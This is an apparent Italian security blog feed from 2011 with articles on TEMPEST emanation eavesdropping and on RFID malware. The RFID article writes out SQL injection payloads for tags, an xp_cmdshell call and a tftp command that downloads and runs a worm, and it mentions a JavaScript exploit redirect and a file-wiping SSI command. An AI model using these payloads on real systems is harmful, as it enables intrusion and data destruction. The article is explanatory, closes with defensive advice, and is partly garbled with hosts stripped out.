<p>I monitor dei computer, compresi gli Lcd, creano questo campo  elettromagnetico su frequenze in genere intorno ai 50 Mhz. Ogni onda  possiede una frequenza base e armoniche sui multipli di quest’ultima con  potenze sempre minori. Il problema del ricevitore che deve arrivare a  frequenze molto elevate è legato all’inquinamento ambientale delle  radiofrequenze. Anche se la portante dell’emissione di base possiede una  potenza maggiore rispetto alle armoniche il suo problema è che sui  50-70 mhz la soglia del rumore radio è fortissima per cui andando su di  frequenza le armoniche scendono di potenza e anche il rumore radio tende  a scomparire. Quella che segue è una prova fatta in casa dal  sottoscritto, da una distanza di 10 metri attraverso un muro, grazie  solo a un antenna e a un analizzatore di spettro collegato a due  oscillatori in grado di generare i sincronismi verticali e orizzontali.</p>
<p style="text-align: center;"><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/Origine1.jpg"><img class="size-full wp-image-1989  aligncenter" title="Origine" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/Origine1.jpg" alt="Monitor di sorgente (origine)" width="337" height="254" /></a></p>
<p style="text-align: center;"><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/Destinaz1.jpg"><img class="size-full wp-image-1991 aligncenter" title="intercettazione TEMPEST" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/Destinaz1.jpg" alt="" width="335" height="250" /></a></p>
<p>Un esperimento interessante per dimostrare l’esistenza delle emissioni elettromagnetiche è <a href="http://www.erikyyy.de/tempest/">Tempest for Eliza</a>:  passando un file Mp3 a questo programmino Linux, questo viene modulato  sul video riprogrammando il chip della scheda Vga. Usando una normale  radio Am/Fm è possibile sentire il brano&#8221;<strong>Per Elisa</strong>&#8221; di Ludwing van Beethoven trasmesso grazie ai campi  elettromagnetici del monitor. Il fenomeno Tempest venne studiato  inizialmente da Erik Van Eck e descritto in un suo documento intitolato <a href="http://jya.com/emr.pdf">Electromagnetic Radiation from Video Display Units: An Eavesdropping Risk?</a>. Relativamente all’emissione dei monitor Lcd si può leggere <a href="http://www.cl.cam.ac.uk/%7Emgk25/pet2004-fpd.pdf">Electromagnetic Eavesdropping Risks of Flat-Panel Displays</a>. Dopo anni di segreto militale, un ricercatore giapponese – tale Tanaka – rese pubblico qualche anno fa uno scritto <a href="http://www.nict.go.jp/publication/shuppan/kihou-journal/journal-vol52no1.2/03-13.pdf">A Trial of the Interception of Display Image using Emanation of Electromagnetic Wave</a>)  in cui si mostrava che con meno di 2.000 dollari era possibile farsi in  casa un ricevitore Tempest in casa. L’Università di Cambridge dispone  di un dipartimento di ricerca sulla sicurezza legata alle tecnologie  avanzate dalla quale provengono moltissimi documenti utili, tra i quali  quello che è possibile considerarecome il più completo su Tempest, un  pdf di 200 pagine scritto da Marklus Khun: <a href="http://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-577.pdf">Compromising emanations: eavesdropping risks of computer displays</a>.  In questo studio viene approfondita tutta l’argomentazione dai principi  fisici alla teoria elettronica, per giungere alla sperimentazione in  questo settore.</p>
<p><strong>Riservato alle Agenzie di stato</strong></p>
<p>I sistemi più evoluti, che permettono intercettazioni fino a 100  metri e che – come dicevamo – non sono liberamente disponibili sul  mercato, possiedono altri blocchi logici e precisamente i filtri per  purificare le immagini e i sistemi di <em>pattern recognition</em> indirizzati a ricostruire eventuali parti dell’immagine. Chiaramente le  tecnologie a disposizione di Pentagono e Cia vanno oltre a quelle  utilizzate nelle intercettazioni passive. I segnali delle emissioni  potrebbero essere molto basse e le distanze alle quali si cerca di  ricevere molto elevate per cui una semplice intercettazione passiva  potrebbe risultare impossibile. In questo caso possono essere usate  tecniche di questo tipo: si prende un trasmettitore in grado di inviare  un segnale Cw ad altissima frequenza di potenza molto elevata. Questo  segnale costituito a una portante pulitissima, priva di disturbi, viene  indirizzata verso l’ambiente nel quale sono presenti i computer da  intercettare. Il segnale riflesso viene modulato dal disturbo  elettromagnetico, così che analizzandolo si ricava l’emissione che si  voleva ricevere.</p>
<p>Chiaramente questa è stata una descrizione semplicista del principio,  in quanto le tecnologie usate sono riservate. Il problema Tempest è  comunque più ampio di quanto si possa pensare in quanto non coinvolge  solo i monitor dei computer, ma anche le linee elettriche di  alimentazione, i fax, le trasmissioni seriali emolti altri dispositivi.  Ad esempio, le onde elettromagnetiche vengono convogliate dai cavi di  alimentazione dei computer e grazie ad un analisi fatta su questi le  informazioni trattate possono essere ricostruite e visualizzate. Tanaka  di fatto ha dimostrato la fattibilità di questa metodologia. Altre  immagini sono reperibili sul sito dell’<a href="http://www2.nict.go.jp/y/y213/english/e-tempest.html">Information Security Research Center National Institute of Information and Communications Technology</a> (Nict), dove l’esperimento ebbe luogo.</p>
<p><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/tempmag2.jpg"><img class="aligncenter size-full wp-image-1993" title="tempmag2" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/tempmag2.jpg" alt="" width="345" height="261" /></a></p>
<p><strong>Come ci si difende</strong></p>
<p>I metodi di protezione consistono in sistemi passivi, come ad esempio  stanze schermate, computer Tempest oppure mascheratori attivi, i quali  generano disturbi che poi vengono trasmessi su un range di frequenze  comprese tra i 10 Hz e i 3 GHz. Le leggi italiane impongono questo tipo  di protezioni soltanto nel caso in cui si vogliano avere uffici dedicati  alla progettazione di sistemi a uso militare. Lo sviluppo delle reti ha  portato a investire cifre a volte elevatissime per la loro sicurezza.  Il fatto di portare il problema Tempest a livello di progetto  sviluppabile in casa potrebbe condurre alla necessità di adottare certe  misure anche in uffici non destinati alla gestione di progetti di un  certo tipo. Lo spionaggio industriale, ad esempio, potrebbe avvalersi di  queste tecnologie per riuscire a impossessarsi di dati delicati per  l’azienda. Trattandosi di un settore fino a poco tempo fa sconosciuto  gli esperti della sicurezza, le soluzioni idonee non sono ancora molto  comuni.</p>
<p><div class="notice">Mi permetto di consigliarvi la lettura dei libri scritti da Flavio58,  son sempre  interessanti e li vende con la formula “donazione libera”  (in pratica lo pagate a  seconda delle vostre possibilità); potete  trovarli sul <a href="http://www.bernardotti.it/" target="_blank">suo sito</a> personale.</div><br />
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		<title>Sistemi di intercettazione TEMPEST – 1 di 3 “optical TEMPEST”</title>
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		<pubDate>Fri, 29 Jul 2011 23:49:10 +0000</pubDate>
		<dc:creator>William J.</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Intercettazioni non convenzionali]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Intercettazioni]]></category>
		<category><![CDATA[Led]]></category>
		<category><![CDATA[Optical TEMPEST]]></category>
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		<guid isPermaLink="false">http://www.mentedigitale.org/news/?p=1956</guid>
		<description><![CDATA[I sistemi TEMPEST (Transmitted Electro-Magnetic Pulse/Energy Standards &#38; Testing) sono sistemi di intercettazione non convenzionali, inquanto non tracciano i dati tramite rete bensì &#8220;ricostruendo&#8221; altre emissioni del pc quali: Segnali ottici (TEMPEST OTTICO, intercetta tramite i LED delle periferiche) Segnali magnetici (TEMPEST MAGNETICO, intercetta tramite le onde elettromagnetiche del monitor sorgente) segnali acustici (TEMPEST ACUSTICO, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><div class="notice"><strong>Indice: <a href="http://www.mentedigitale.org/news/2011/07/sistemi-di-intercettazione-tempest-2-di-3-tempest-magnetico/">parte 2</a> | <a href="http://www.mentedigitale.org/news/2011/08/sistemi-di-intercettazione-tempest-%e2%80%93-3-di-3-%e2%80%9ctempest-acustico%e2%80%9d/">parte 3</a> </strong></div></p>
<p>I sistemi <strong>TEMPEST</strong> (<em>Transmitted Electro-Magnetic Pulse/Energy Standards &amp; Testing) </em> sono sistemi di intercettazione non convenzionali, inquanto non tracciano i dati tramite rete bensì &#8220;ricostruendo&#8221; altre emissioni  del pc quali:</p>
<ul>
<li>Segnali ottici (<strong>TEMPEST OTTICO</strong>, intercetta tramite i LED delle periferiche)</li>
<li>Segnali magnetici (<strong>TEMPEST MAGNETICO</strong>, intercetta tramite le onde elettromagnetiche del monitor sorgente)</li>
<li>segnali acustici (<strong>TEMPEST ACUSTICO</strong>, intercetta tramite i segnali generati dallo speaker)</li>
</ul>
<p>Per capire meglio di cosa si tratta a fine post inserisco una presentazione (in inglese).</p>
<div class="blue"><strong>Questo articolo lo riporto in toto da alcuni siti e documenti scritti da un nostro autore (che spero scriva il prima possibile degli articoli tutti per noi): <a href="http://www.bernardotti.it" target="_blank">Flavio58</a>. </strong></div><strong><br />
</strong></p>
<p>Oggi ci occuperemo della prima categoria: il<strong> TEMPEST OTTICO</strong> (<em>Optical TEMPEST</em>).<a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/opt.jpg"><br />
</a></p>
<p>Col termine &#8220;<strong>Optical Tempest</strong>&#8221; ci si riferisce all’intercettazione, tramite  apparecchiature spesso molto semplici, delle modulazioni della luce  legata alle spie degli hard disk, dei modem, dei router e di tutto  quanto modula dati tramite led presenti sui sistemi informatici. Si  tratta, è bene ricordarlo, di metodologie utilizzate fino a poco tempo  fa <strong>soltanto da Agenzie di stato</strong> o da <strong>strutture militari</strong> per recuperare  informazioni altrimenti non accessibili. Infatti di Optical Tempest fino  a pochi anni fa non se n’era mai sentito parlare, in quanto ritenuta  una tecnologia riservata e pericolosa da divulgare.</p>
<p>Talvolta, quando si parla dei coefficienti di sicurezza di questi  sistemi, li si confronta con le normali tecniche utilizzate dagli <strong>hacker</strong> per accedere a dati e si tende a fare il confronto con la purezza  dell’informazione e con il tempo necessario al suo trattamento. In altre  parole, se un hacker riesce ad accedere a un sistema e a prelevare dei  file questi in genere non necessitano di elaborazioni finalizzate a  renderle migliori qualitativamente. In questo caso, invece, parliamo di  tecnologie che vengono utilizzate quando <strong>non esistono collegamenti di  rete</strong>, quando i sistemi non sono accessibili in altro modo ovvero quando  non esiste alcun altro mezzo per carpire le informazioni trattate dai  sistemi stessi.</p>
<p>Evidentemente il lavoro da svolgere incontra maggiori difficoltà, ma  per contro dispone di tecnologie che agli altri sono vietate e con le  quali si cerca il modo adatto per entrare in possesso delle informazioni  (Tempest, Optical Tempest e altri), i metodi per ripulirle dai disturbi  e quelli per ricostruire parti mancanti. Questo significa che esistono  diverse diverse fasi da considerare in un operazione d’intercettazione,  delle quali le ultime – <strong>purificazione e ricostruzione</strong> &#8211; due sono le più  lunghe e complesse.</p>
<p>Ma torniamo all’intercettazione ottica delle informazioni. Esistono  due metodologie legate ai led e alle variazioni di luminosità dei  monitor. La seconda sembra fantascientifica, ma bisogna tener presente  che i pixel sul monitor vengono accesi e spenti come se fossero  lampadine, seguendo degli orologi di sistema che regolano la scansione  orizzontale e verticale. Un sistema elettronico è in grado di percepire  queste microvariazioni di luce e utilizzarle per ricostruire le immagini  create sul monitor. Mentre nel caso dei led per il trasferimento  seriale dei dati le informazioni sono di fatto una successiva all’altra,  nel caso dei monitor i tempi legati alla sincronizzazione verticale e  orizzontale del cannone elettronico devono essere utilizzati per  ricreare i vari pixel disposti su diverse righe e colonne.</p>
<p>Markus Khun ha studiato a fondo questa tecnologia all’Università di Cambridge e ha rilasciato un documento intitolato <a href="http://www.cl.cam.ac.uk/%7Emgk25/ieee02-optical.pdf">Optical Time-Domain Eavesdropping Risks of CRT Displays</a>.  Molte periferiche usate dai computer dispongono di led che in genere  lampeggiano modulati dai dati che il dispositivo stesso sta trattando.  Il grafico che segue mostra nella parte bassa la <strong>modulazione dei dati  tramite i led</strong>, mentre la sezione superiore rappresenta l’intercettazione  eseguita da 5 metri di distanza. Ma quante periferiche presentano  questa caratteristica? Gli esperimenti eseguiti su un gran numero di  device ha mostrato che un buon 36% di questi permette di ricostruire i  dati trattati semplicemente intercettando la modulazione dei led.</p>
<p><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/opt.jpg"><img class="alignleft size-full wp-image-1960" title="opt" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/opt.jpg" alt="" width="294" height="293" /></a>I sistemi che dispongono di led sono classificati nel seguente modo, a seconda dei rischi derivanti dal loro uso:</p>
<ul>
<li> <strong>Classe I</strong>, si tratta i indicatori non modulati con rischio praticamente  nullo di poter essere utilizzati per l’intercettazione di dati.</li>
<li> <strong>Classe II</strong>, si tratta di indicatori modulati nel tempoe correlati a un livello funzionale del device.</li>
<li> <strong>Classe III</strong>, indicatori led modulati da segnali ottici strettamente correlati con i contenuti in dati del sistema.</li>
</ul>
<p>Ma com’è noto lo spionaggio lavora anche modificando apparecchiature  presenti per fare in modo che queste possano essere utilizzate per  carpire informazioni. Facciamo un esempio molto frequente in questo  settore. Un tipo d’informazione molto appetibile per chi deve carpire  dati riservati è sicuramente legata alla tastiera e ai tasti digitati  attraverso di essa. In genere il chip che controlla questa periferica  trasforma le informazioni in dati seriali trasmessi tramite il cavo. Con  una piccola modifica al circuito interno è possibile che i dati  digitati <strong>facciano modulare uno dei led</strong>, come ad esempio quello dello <em>Scroll Lock</em>.</p>
<p><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/temp2.jpg"><img class="aligncenter size-full wp-image-1963" title="temp2" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/temp2.jpg" alt="" width="447" height="286" /></a></p>
<p>In questo modo tutto quello che viene digitato può essere  intercettato. A seguito di questa semplice modifica della tastiera,  mediante un semplice programma, è possibile usarla come sistema per  trasmettere i dati. In altre parole, se si ponesse la necessità di  spiare delle informazioni legate a un computer non collegato in rete,  potrei sostituire la tastiera con un’altra modificata e poi mediante un  piccolo programma installato di nascosto sul sistema potrei ricevere i  dati trasferiti attraverso di essa. Il listato in linguaggio C di questo  programma è riportato all’interno del documento <a href="http://applied-math.org/optical_tempest.pdf">Optical Tempest</a>, insieme a molte altre informazioni legate a questa tecnica.</p>
<p>Ma come funzionano i sistemi in grado di intercettare le  microvariazioni della luce? In genere nell’ambito dell’elettronica  esistono fotocellule voltaiche che ricevono degli impulsi luminosi e li  trasformano in un segnale elettrico. Il principio si basa su questa  caratteristica, e di fatto da breve distanza questo componente sarebbe  l’unico elemento necessario. Infatti se prendessimo un oscilloscopio e  lo collegassimo a un fotocellula vedremmo sullo schermo gli impulsi  elettrici ricevuti. A questa fotocellula è possibile collegare un  amplificatore per ampliare il segnale elettrico. Nel caso di lunghe  distanze le microvariazioni di luce intercettate potrebbero essere  veramente di bassa intensità. Grazie a tubi fotomoltiplicatorimontati su  telescopi o su cannocchiali è possibile amplificare queste piccolissime  variazione della luminosità ambientale permettendo quindi  l’intercettazione delle informazioni.</p>
<p style="text-align: center;"><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/temp3.jpg"><img class="size-full wp-image-1964  aligncenter" title="temp3" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/temp3.jpg" alt="" width="194" height="196" /></a></p>
<p>Le <strong>microvariazioni della luce</strong> vengono rilevate dalla cellula, che grazie  all’amplificatore di luce le traduce in segnali elettrici utilizzabili  per gli scopi prefissati. Chiaramente maggiore è la distanzae maggiore è  anche il disturbo ambientale. L’immagine che segue mostra i risultati a  diverse distanze e il conseguente decadimento della purezza del  segnale.</p>
<p style="text-align: center;"><a href="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/temp4.jpg"><img class="size-full wp-image-1967 aligncenter" title="temp4" src="http://www.mentedigitale.org/news/wp-content/uploads/2011/07/temp4.jpg" alt="" width="493" height="187" /></a></p>
<p>La difficoltà dell’intercettazione ottica deriva anche dal fatto che  talvolta è necessario tagliare le frequenze delle informazioni visive al  fine di individuare quale possiede un miglior coefficiente i purezza.  Quando lampeggia, un led ha una lunghezza d’onda stabilita all’interno  di un range limitato. Ad esempio molti diodi che possiedono una luce  rossa possono avere una parte che spazia nel campo dell’infrarosso.  Scandagliando mediante filtri ottici questa variazione di lunghezza  d’onda, potremmo trovarne una più adatta in funzione ai disturbi  luminosi dell’ambiente in esame. Se, grazie a sistemi ottici molto  selettivi, riuscissimo a inquadrare direttamente il led, i risultati  migliorerebbero notevolmente.</p>
<p>I sistemi basati sull’ottica permettono molte operazioni  interessanti. Per esempio, inviando un fascio di luce attraverso un  microfono laser in direzione del vetro di una stanza al cui interno  stanno parlando alcune persone, analizzando la riflessione si potrebbero  ricavare le micro vibrazioni del vetro indotte dalla voce dei presenti e  ascoltare quello che stavano dicendo. Quest’esempio, in realtà, non ha  nulla a che fare con l’Optical Tempest, ma aiuta a comprendere come i  computer e i componenti elettronici siano in grado di avvertire  variazioni fisiche ambientali che al contrario l’uomo non riesce a  percepire.</p>
<p>Anche alcune testate internazionali hanno dedicato spazio a questo argomento, per esempio:</p>
<p>BBC News :<a href="http://news.bbc.co.uk/2/hi/science/nature/1861656.stm" target="_blank"> Le spie attratte dalla luce</a><br />
The new scientist : <a href="http://www.newscientist.com/article.ns?id=dn2029" target="_blank">Le variazioni di luce del monitor rivelano le informazioni su questi</a><br />
Slashdot :<a href="http://it.slashdot.org/article.pl?sid=02/03/09/199242" target="_blank"> CRT Eavesdropping: Optical Tempest</a></p>
<p><div class="notice">Prima di lasciarvi alla presentazione sottostante dei sistemi TEMPEST (in inglese) mi permetto di consigliarvi la lettura dei libri scritti da Flavio58, son sempre  interessanti e li vende con la formula “donazione libera” (in pratica lo pagate a  seconda delle vostre possibilità); potete trovarli sul <a href="http://www.bernardotti.it" target="_blank">suo sito</a> personale.</div>
<p><a title="View Transec Emsec Tempest on Scribd" href="http://www.scribd.com/doc/4425045" style="margin: 12px auto 6px auto; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none; display: block; text-decoration: underline;">Presentazione dei sistemi TEMPEST (in inglese):</a><iframe class="scribd_iframe_embed" src="http://www.scribd.com/embeds/4425045/content?start_page=1&#038;view_mode=list" data-auto-height="true" data-aspect-ratio="" scrolling="no" id="doc_44669" width="100%" height="600" frameborder="0"></iframe><br />
<table width="100%"  align="center" bgcolor="#FFFFCC">
<tr>
<td width="50%" bgcolor="#FFFFCC">
<p><img src="http://www.buongiornoweb.com/webmaster/barre_e_divisori/_archivio/fisse/divisori_188.gif"><br />
<strong><br />
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</strong><br />
<img src="http://www.buongiornoweb.com/webmaster/barre_e_divisori/_archivio/fisse/divisori_188.gif">
</td>
</tr>
</table>
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		</item>
		<item>
		<title>La sicurezza degli RFID</title>
		<link>http://www.mentedigitale.org/news/2011/07/la-sicurezza-degli-rfid/</link>
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		<pubDate>Fri, 29 Jul 2011 10:15:02 +0000</pubDate>
		<dc:creator>William J.</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Gold articoli]]></category>
		<category><![CDATA[RFID]]></category>
		<category><![CDATA[RivistaDigitale]]></category>

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		<description><![CDATA[Oggi apro nuovamente il baule degli articoli gold, riportando un pezzo scritto da Aniello Coppeto aka NeCoSi per la vecchia Ezine di MenteDigitale (si chiamava RivistaDigitale), un progetto che è stato sospeso tre anni fa. Introduzione: RFID Acronimo di Radio Frequency Identification (tradotto: identificazione a radio frequenza ). Questa tecnologia è stata sviluppata per identificare [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Oggi apro nuovamente il baule degli<strong> articoli gold</strong>, riportando un pezzo scritto da <a href="http://geekplace.org/" target="_blank">Aniello Coppeto</a> aka <a href="http://geekplace.org/" target="_blank">NeCoSi</a> per la vecchia Ezine di MenteDigitale (si chiamava RivistaDigitale), un progetto che è stato sospeso tre anni fa.</p>
<p style="text-align: justify;">
<h4 style="text-align: justify;"><strong>Introduzione:</strong></h4>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;"><strong>RFID</strong><br />
Acronimo di Radio Frequency Identification (tradotto: identificazione a radio frequenza ).</p>
<p style="text-align: justify;">Questa tecnologia è stata sviluppata per identificare automaticamente oggetti, animali e/o persone.</p>
<p style="text-align: justify;"><strong>TAG RFID</strong><br />
Un <strong>tag RFID</strong> (detto anche transponder) e’ un microchip  che contiene dati + un numero univoco universale e grazie ad un’ antenna  integrata può ricevere e trasmettere radiofrequenza ad un tranreceiver  RFID.</p>
<p style="text-align: justify;">Questo componente elettronico ha l’aspetto di una etichetta adesiva e può essere grande anche solo pochi millimetri.</p>
<p style="text-align: justify;">Dentro c’è una parte “intelligente” costituita da un solo circuito di  trasmissione del segnale (modulato a radio frequenza) e da una memoria  non volatile contenente un codice unico, il quale viene trasmesso  all’apparato lettore che controllerà i dati ricevuti.</p>
<div id="SID900656641" style="text-align: justify;">
<p><strong>TAG RFID attivi e passivi</strong><br />
I tag RFID 125KHz e 13.56Mhz sono considerati RFID passivi.</p>
<p>I tag RFID UHF e Ultrawide band (&gt;2.4 GHz) possono essere attivi, semi-attivi e passivi.</p>
<p>I tag attivi sono alimentati da batterie</p>
<p>I tag semi-attivi sono alimentati da batterie solo per la parte di trasmissione</p>
<p>I tag passivi non hanno nessuna fonte di alimentazione interna,  ma traggono l’energia per attivarsi dall’onda radio inviata dal lettore  che li interroga</p>
<p><strong>VANTAGGI</strong><br />
L’RFID, a differenza dei Codici a Barre e delle Bande magnetiche:</p>
<p>Non deve essere vicino per essere letto come le bande magnetiche</p>
<p>Non deve essere visibile per essere letto come per i codici a barre</p>
<p>Può anche aggiungere informazioni sui chip in funzione della tipologia del Chip (Read Only, Read Once, Read and Write)</p>
<p>Ha un tempo per l’identificazione e la verifica di 10/100 di secondo</p>
<p><strong>RFID: Read Only e Read/Write</strong>La modalità Read Only si utilizza nei tag rfid per sostituire semplicemente il codice a barre.</p>
<p>La modalità Read/Write invece permette non solo la trasmissione, ma  anche l’ aggiornamento delle informazioni sul chip: il tag diventa un  sistema di identificazione che può tenere traccia della storia di un  prodotto fin dalla fase di lavorazione ed essere poi utilizzata in modo  interattivo lungo tutta la filiera fino alla distribuzione al dettaglio e  in alcuni casi sino al consumatore.</p>
<p><strong>LA NEWS</strong><br />
Alcuni ricercatori della Vrije Universiteit, polo universitario olandese  (ad Amsterdam), tra cui Melanie Rieback ed il Prof. Andrew Tanenbaum  hanno trovato un modo per inserire un virus nei tag RFID. Inizialmente  si credeva fosse impossibile a causa della memoria limitata dei tag, ma  in occasione della Pervasive Computing and Communications Conference  tenutasi a Pisa il 15 marzo 2006 questi hanno dimostrato che è  possibile.<br />
Il problema potrebbe esser nato a causa del costo dei tag RFID. Le  aziende, infatti stanno cercando di produrre il prima possibile tag RFID  sempre più economici al fine di raggiungere prezzi competitivi per  affermarsi sul mercato, ma tale corsa sta lasciando indietro gli aspetti  fondamentali della sicurezza informatica.</p>
<p>La presenza anche di un solo tag infetto, potrebbe causare anomalie in un intero sistema di controllo.</p>
<p>Una possibile contromisura sarebbe quella di estendere i sistemi di  lettura dei tag RFID con un sistema anti-virus. I ricercatori olandesi  infatti hanno già dato vita a  rfidguardian.org, un sistema  specializzato che osserva, controlla e difende i sistemi di lettura RFID  da possibili attacchi.</p>
<p>Stando a quanto affermato sul portale rfidvirus.org, quella che segue  dovrebbe essere la foto che ritrae il primo RFID infetto al mondo:</p>
<p>Un tag infetto può infettare un intero sistema di controllo  (middleware) il quale potrà infettare altri tag rfid che supportano la  modalità R/W i quali, spostandosi fisicamente, potranno essere letti  anche da ulteriori sistemi di controllo, infetteranno anche quest’  ultimi, che a loro volta infetteranno altri tag e così via….</p>
<p><strong>Sicurezza – Malware<br />
_Start_ RFID HACKING</strong><br />
La prima domanda che ci si è posti è stata:</p>
<p>“Come posso inserire un exploit o un virus in un tag che ha poco meno di 1Kb di memoria?”</p>
<p>Praticamente infettando i tag RFID si possono sfruttare le vulnerabilità presenti nel middleware.</p>
<p>Un virus, worm, o altro codice maligno (malware) accede al database  per esempio, lo infetta, dopodiché’ i dati che verranno letti da tale  database potranno infettare a loro volta anche ulteriori componenti del  middleware.</p>
<p><strong>ATTACCO – 1 – SQL INJECTION</strong><br />
Supponiamo che ci sia un sistema di controllo (middleware) che legga tag  RFID in un magazzino. La query del database sara simile a:</p>
<p>“Merce: ”</p>
<p>Ora se noi scrivessimo nel tag RFID</p>
<p>“Tavolo; shutdown”</p>
<p>il sistema middleware processerebbe:</p>
<p>“Merce: Tavolo; shutdown”</p>
<p>Supponendo che il simbolo ; indica la fine di un’istruzione e l’inizio della nuova, il risultato che avremmo sarebbe simile a:</p>
<p>“XYZ; database shutdown completed”</p>
<p>Tale attacco non è certamente un virus, ma è certamente un pericolo  dato che un attacker ha la possibilità di spegnere a suo piacimento il  database.</p>
<p><strong>ATTACCO – 2 – BUFFER OVERFLOW</strong><br />
Potrebbe capitare che un sistema di lettura dei tag RFID sia programmato  per leggere RFID specifici di 128bit. La memoria allocata nel programma  quindi potrebbe non essere maggiore della grandezza specificata. In  questo modo, potremmo portare all’interno del sistema di lettura un RFID  grande 512bit cosicché la memoria del middleware subisca un buffer  overflow sovrascrivendo dunque l’indirizzo di ritorno sullo stack in  modo che quando si ha il ritorno dalla procedura, si verifichi un salto  in un punto specifico della memoria del tag, contenente codice maligno.</p>
<p><strong>TIPOLOGIA MALWARE</strong><br />
RFID EXPLOIT è un tag  RFID capace di modificare gli indirizzi di memoria nel middleware ed è alla base di ogni malware.</p>
<p>RFID WORMS si basa sul rfid exploit, ma necessita anche di una  connessione di rete per replicarsi sfruttando le falle remote di altri  sistemi RFID connessi. Inoltre puo’ indurre una macchina a scaricare ed  eseguire codice da remoto e compromettere così il middleware. Un sistema  middleware compromesso, può consentire dunque al worm di replicarsi  sovrascrivendo gli altri tag RFID.</p>
<p>RFID VIRUS è una variante del rfid worm. Non necessita di una  connessione di rete. Sfruttando un exploit, l’rfid virus comanda al  middleware di sovrascrivere altri tag rfid. Questi a loro volta  sovrascriveranno altri tag, che verranno letti anche da altri middleware  che sovrascriveranno altri tag.</p>
<p><strong>ARCHITETTURA  MIDDLEWARE</strong><br />
Il middleware, che è al centro del sistema RFID, riceve gli eventi dai lettori RFID (quando un tag viene letto).</p>
<p>Questi eventi vengono processati da diversi filtri. Quando è  completamente filtrato, l’evento è pronto per essere valutato. Uno dei  componenti memorizza l’evento in un database per i processi futuri.</p>
<p>I lettori RFID sono connessi al middleware attraverso i driver (o  moduli). Questa modularità consente al middleware di supportare diversi  device senza dover apportare modifiche al sistema!</p>
<p>Il middleware comprende anche un interfaccia utente, nata  fondamentalmente per la gestione del sistema. Ma con il tempo sono state  implementate anche ulteriori interfacce, che non consentono la  gestione, ad esempio in un supermarket viene usata un interfaccia che  permette ai clienti di monitorare la propria spesa.</p>
<p>Inoltre il middleware consente l’interconnessione con altri software  di gestione per estendere ed automatizzare la gestione dei prodotti.</p>
<p><strong>VULNERABILITA’ EXTRA</strong><br />
Se il middleware utilizzasse un componente web-based (interfaccia utente  ad esempio), ci sarebbero maggiori vulnerabilità’. Il tag rfid infatti  potrebbe contenere nella sezione data il seguente codice (javascript):</p>
<p>document.location=’http://ip/exploit.wmf’;</p>
<p>oppure il codice (SSI)</p>
<p>Questi codici, eseguiti dal browser, consentono di sfruttare le  vulnerabilità’ non solo del middleware, ma dell’intero sistema operativo  (software compresi).</p>
<p>NB: il secondo codice non sfrutta un bug, ma è semplicemente un comando che elimina ogni file dell’ harddisk.</p>
<p><strong>ESEMPIO VIRUS</strong><br />
Quando un lettore di rfid legge un tag, nel database verra’ eseguito un’istruzione simile a:<br />
UPDATE ContainerContents SET OldContents=’%contents%’ WHERE TagID=’%id%’</p>
<p>Se il nostro tag rfid contenesse all’interno della sua memoria, nella sezione dati il seguente codice<br />
Apples’, NewContents=SUBSTR(GetCurrentQuery (),43,57) —</p>
<p>Il database si troverebbe a dover processare l’istruzione seguente<br />
UPDATE ContainerContents SET OldContents=’Apples’, NewContents=SUBSTR(GetCurrentQuery (),43,57) — WHERE TagId=’123′</p>
<p>Questo significa che verrà aggiornata la tabella ContainerContents e la cella  OldContents conterrà Apple.</p>
<p>Inoltre sarà creata un’altra cella denominata NewContents che  conterrà i 57 caratteri dell’ istruzione stessa, successivi al  43°carattere.</p>
<p>Inoltre questa istruzione contaminerà l’intero database, non solo  un’istanza perché il simbolo — in SQL rappresenta l’inizio di un  commento (WHERE TagId=’123′ dunque non verrà considerato).</p>
<p>Ora, al fine di consentire la propagazione dell’infezione su  ulteriori tag, è necessario eseguire ulteriore codice. Data la bassa  capacità di memoria dei tag RFID, cercheremo di richiamare programmi  esterni al middleware che possano correre in nostro aiuto. Con la  stringa</p>
<p>Apples’; EXEC Master..xp_cmdshell ‘shell commands’;–</p>
<p>chiediamo al server SQL di eseguire per noi un comando dalla shell.</p>
<p>Seguono due esempi di comandi shell utilizzabili, il primo per  Windows ed il secondo per Linux, ma con piccole modifiche è possibile  adattarli ad altri sitemi operativi:</p>
<p>cd \Windows\Temp &amp; tftp -i  GET worm.exe &amp; worm.exe</p>
<p>oppure</p>
<p>Il primo esempio entra nell directory Windows\Temp e attraverso il  protocollo tftp (non richiede una login) scarica da  il file worm.exe e  lo esegue.</p>
<p>Il secondo esegue wget e scarica il worm da ip salvandolo nella directory /tmp/, poi setta i permessi di esecuzione e lo esegue.</p>
<p><strong>COME DIFENDERSI</strong><br />
Dal Database Attack: Ogni dato deve essere inserito in un istruzione SQL  solo se sono stati usati opportunamente gli escape ‘ attraverso le API  del database. La soluzione ideale (ma più costosa) sarebbe quella di non  inserire mai nessun dato direttamente in un’ istruzione SQL,  utilizzando solo istruzioni personalizzate/pre-formattate e parametri  blindati in modo che mai nessun dato possa essere processato come  codice.</p>
<p>Dal Web-Based Attack: Anche questo problema è risolvibile usando  opportunamente gli escape ‘ all’ interno del codice HTML. Inoltre, se  non sono necessari linguaggi di scripting (javascript, SSI), sarebbe  opportuno disabilitarli per evitarne abusi.</p>
